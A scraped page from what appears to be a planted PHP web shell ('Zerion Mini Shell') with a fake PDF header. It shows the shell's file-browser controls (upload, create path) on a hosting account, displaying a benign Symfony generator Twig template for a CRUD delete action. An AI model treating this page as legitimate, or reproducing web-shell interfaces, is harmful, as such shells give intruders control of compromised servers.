%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/vendor/sensio/generator-bundle/Resources/skeleton/crud/actions/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/vendor/sensio/generator-bundle/Resources/skeleton/crud/actions/delete.php.twig

    /**
{% block phpdoc_method_header %}
     * Deletes a {{ entity_singularized }} entity.
{% endblock phpdoc_method_header %}
     *
{% block phpdoc_method_annotations %}
{% if 'annotation' == format %}
     * @Route("/{{ '{' ~ identifier ~ '}' }}", name="{{ route_name_prefix }}_delete")
     * @Method("DELETE")
{% endif %}
{% endblock phpdoc_method_annotations %}
     */
{% block method_definition %}
    public function deleteAction(Request $request, {{ entity_class }} ${{ entity_singularized }})
{% endblock method_definition %}
    {
{% block method_body %}
        $form = $this->createDeleteForm(${{ entity_singularized }});
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            $em = $this->getDoctrine()->getManager();
            $em->remove(${{ entity_singularized }});
            $em->flush();
        }
{% endblock method_body %}

{% block method_return %}
        return $this->redirectToRoute('{{ route_name_prefix }}_index');
{% endblock method_return %}
    }

{% block form %}
    /**
     * Creates a form to delete a {{ entity_singularized }} entity.
     *
     * @param {{ entity_class }} ${{ entity_singularized }} The {{ entity_singularized }} entity
     *
     * @return \Symfony\Component\Form\Form The form
     */
    private function createDeleteForm({{ entity_class }} ${{ entity_singularized }})
    {
        return $this->createFormBuilder()
            ->setAction($this->generateUrl('{{ route_name_prefix }}_delete', array('{{ identifier }}' => ${{ entity_singularized }}->get{{ identifier|capitalize }}())))
            ->setMethod('DELETE')
            ->getForm()
        ;
    }
{% endblock form %}

Zerion Mini Shell 1.0